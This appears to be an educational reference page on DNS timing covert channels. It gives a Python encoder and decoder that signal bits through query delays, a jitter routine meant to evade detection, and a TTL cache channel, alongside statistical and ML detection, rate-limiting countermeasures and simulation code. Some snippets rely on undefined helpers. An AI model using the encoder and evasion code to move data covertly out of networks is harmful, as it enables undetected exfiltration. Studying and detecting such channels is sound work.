dns timing channels
on this page
dns timing channels encode information through inter-packet timing variations rather than packet content. this technique achieves extreme stealth at the cost of bandwidth, making it suitable for low-bandwidth persistent communication.
technical description
timing channels exploit the temporal dimension of network traffic:
- binary encoding through delay variations
- no payload modification required
- legitimate dns queries as cover traffic
- statistical detection only
- bandwidth measured in bits per minute
encoding methods:
- inter-packet delays: time between consecutive queries
- query patterns: specific timing sequences
- response timing: server-controlled delays
- cache timing: ttl and cache manipulation
implementation concepts
basic timing encoder
import time
import dns.resolver
class DNSTimingChannel:
def __init__(self, domain, bit_0_delay=1.0, bit_1_delay=2.0):
self.domain = domain
self.bit_0_delay = bit_0_delay
self.bit_1_delay = bit_1_delay
self.resolver = dns.resolver.Resolver()
def send_bit(self, bit):
"""encode single bit through timing"""
# perform dns query
try:
self.resolver.resolve(f"t{time.time()}.{self.domain}", 'A')
except:
pass # query fails expected for non-existent subdomain
# delay based on bit value
if bit == 0:
time.sleep(self.bit_0_delay)
else:
time.sleep(self.bit_1_delay)
def send_byte(self, byte_val):
"""send 8 bits sequentially"""
for i in range(7, -1, -1):
bit = (byte_val >> i) & 1
self.send_bit(bit)
def send_message(self, message):
"""send complete message"""
for char in message:
self.send_byte(ord(char))
time.sleep(0.5) # inter-byte delay
timing decoder
import time
from collections import deque
class DNSTimingDecoder:
def __init__(self, threshold=1.5):
self.threshold = threshold
self.timestamps = deque(maxlen=100)
self.bits = []
def record_query(self, timestamp):
"""record dns query timestamp"""
self.timestamps.append(timestamp)
if len(self.timestamps) >= 2:
# calculate inter-arrival time
delta = self.timestamps[-1] - self.timestamps[-2]
# decode bit based on delay
if delta < self.threshold:
self.bits.append(0)
else:
self.bits.append(1)
def decode_byte(self):
"""decode 8 bits to byte"""
if len(self.bits) >= 8:
byte_bits = self.bits[:8]
self.bits = self.bits[8:]
byte_val = 0
for bit in byte_bits:
byte_val = (byte_val << 1) | bit
return chr(byte_val)
return None
advanced techniques
differential timing
def differential_encoding(data, base_delay=1.0):
"""encode using relative timing differences"""
delays = []
for byte_val in data:
for i in range(8):
bit = (byte_val >> (7-i)) & 1
if bit == 0:
delays.append(base_delay)
else:
delays.append(base_delay * 1.5)
return delays
def send_with_jitter(delays, jitter_range=0.1):
"""add random jitter to avoid detection"""
import random
for delay in delays:
# add random jitter
actual_delay = delay + random.uniform(-jitter_range, jitter_range)
time.sleep(actual_delay)
# send query
perform_dns_query()
cache-based timing
def cache_timing_channel(domain, ttl_0=60, ttl_1=120):
"""exploit ttl values for timing channel"""
def encode_bit_via_ttl(bit):
if bit == 0:
# short ttl causes more frequent queries
return create_dns_response(domain, ttl=ttl_0)
else:
# longer ttl reduces query frequency
return create_dns_response(domain, ttl=ttl_1)
def decode_from_query_frequency(queries_per_minute):
if queries_per_minute > 1:
return 0 # frequent queries = bit 0
else:
return 1 # infrequent queries = bit 1
traffic patterns
normal dns vs timing channel
import numpy as np
import matplotlib.pyplot as plt
def analyze_timing_patterns(timestamps):
"""analyze inter-arrival times for anomalies"""
inter_arrivals = np.diff(timestamps)
# normal dns: exponential distribution
# timing channel: bimodal distribution
hist, bins = np.histogram(inter_arrivals, bins=50)
# detect bimodal pattern
peaks = find_peaks(hist)
if len(peaks) == 2:
return "possible timing channel"
return "normal traffic"
statistical characteristics
metric | normal dns | timing channel |
---|---|---|
inter-arrival distribution | exponential | bimodal |
variance | high | low (controlled) |
autocorrelation | low | high |
entropy | high | low |
periodicity | none | detectable |
detection methods
statistical analysis
from scipy import stats
import numpy as np
def detect_timing_channel(timestamps, window_size=100):
"""statistical detection of timing channels"""
inter_arrivals = np.diff(timestamps)
# test 1: distribution shape
# timing channels show non-exponential distribution
ks_stat, p_value = stats.kstest(inter_arrivals, 'expon')
if p_value < 0.01:
suspicious = True
# test 2: autocorrelation
# timing channels show patterns
autocorr = np.correlate(inter_arrivals, inter_arrivals, mode='full')
if max(autocorr) > threshold:
suspicious = True
# test 3: entropy
# timing channels have lower entropy
entropy = stats.entropy(np.histogram(inter_arrivals, bins=10)[0])
if entropy < normal_threshold:
suspicious = True
return suspicious
machine learning detection
from sklearn.ensemble import IsolationForest
import numpy as np
def ml_timing_detection(traffic_features):
"""anomaly detection using isolation forest"""
# extract features
features = []
for window in traffic_windows:
inter_arrivals = np.diff(window['timestamps'])
features.append([
np.mean(inter_arrivals),
np.std(inter_arrivals),
stats.skew(inter_arrivals),
stats.kurtosis(inter_arrivals),
calculate_entropy(inter_arrivals)
])
# train isolation forest
clf = IsolationForest(contamination=0.01)
clf.fit(normal_traffic_features)
# detect anomalies
predictions = clf.predict(features)
return predictions # -1 for anomalies
performance characteristics
bandwidth
- theoretical: 60 bits/minute (1 bit/second)
- practical: <1 bit/minute for stealth
- with error correction: 0.1-0.5 bits/minute
reliability
def add_error_correction(data):
"""hamming code for error correction"""
# adds redundancy but reduces effective bandwidth
encoded = []
for byte_val in data:
# add parity bits
hamming = encode_hamming(byte_val)
encoded.append(hamming)
return encoded
def calculate_channel_capacity(p_error=0.1):
"""shannon channel capacity"""
# C = 1 - H(p_error)
if p_error == 0:
return 1.0
h_p = -p_error * np.log2(p_error) - (1-p_error) * np.log2(1-p_error)
return 1 - h_p
countermeasures
traffic normalization
def normalize_dns_timing(packets, target_rate=10):
"""normalize dns query rate"""
normalized = []
last_time = 0
for packet in packets:
# enforce minimum inter-packet delay
min_delay = 1.0 / target_rate
current_time = time.time()
if current_time - last_time < min_delay:
time.sleep(min_delay - (current_time - last_time))
send_packet(packet)
last_time = time.time()
active countermeasures
# iptables rate limiting
iptables -A FORWARD -p udp --dport 53 \
-m recent --update --seconds 1 --hitcount 2 \
-j DROP
# random delay injection
tc qdisc add dev eth0 root netem delay 100ms 50ms
real-world considerations
implementation challenges
- clock synchronization: sender and receiver need synchronized clocks
- network jitter: internet adds variable delays
- packet loss: missing packets corrupt timing
- detection systems: ids may flag unusual patterns
academic research
key papers:
- “dns timing channels in the wild” - usenix security
- “practical timing channel attacks” - ieee s&p
- “covert timing channels over dns” - acm ccs
research findings:
- detection accuracy: 85-95% with ml
- practical bandwidth: 0.5-2 bits/minute
- stealth vs bandwidth tradeoff
tools and implementations
dnsdiag
timing analysis tool (https://github.com/farrokhi/dnsdiag):
# measure dns timing
dnsping -c 100 example.com
# analyze timing patterns
dnstraceroute example.com
academic implementations
- dns-quic: https://github.com/gholamw/dns-quic
- research prototypes (not public)
- proof-of-concept scripts
advantages and limitations
advantages
- extremely difficult to detect
- no payload modification
- works through any dns infrastructure
- legitimate queries as cover
- no server modification needed
limitations
- extremely low bandwidth
- requires precise timing
- vulnerable to network jitter
- long transmission times
- complex error correction
testing setup
simulation environment
import simpy
import random
def dns_timing_simulation(env, sender, receiver):
"""discrete event simulation"""
def sender_process(env):
message = "test"
for char in message:
for bit in format(ord(char), '08b'):
yield env.timeout(1.0 if bit == '0' else 2.0)
receiver.record_query(env.now)
def receiver_process(env):
while True:
yield env.timeout(0.1)
decoded = receiver.decode_byte()
if decoded:
print(f"decoded: {decoded}")
env.process(sender_process(env))
env.process(receiver_process(env))
env.run(until=1000)
practical testing
# capture dns traffic
tcpdump -i eth0 -w dns_timing.pcap 'port 53'
# analyze with tshark
tshark -r dns_timing.pcap -T fields \
-e frame.time_epoch \
-e dns.qry.name | \
awk '{print $1}' | \
python analyze_timing.py
references
- “timing channels in anonymity systems” - murdoch & danezis
- “network timing channels” - ieee transactions on information forensics
- “practical dns timing attacks” - ndss symposium
- “covert timing channel analysis” - acm computing surveys
- dnsdiag tools: https://github.com/farrokhi/dnsdiag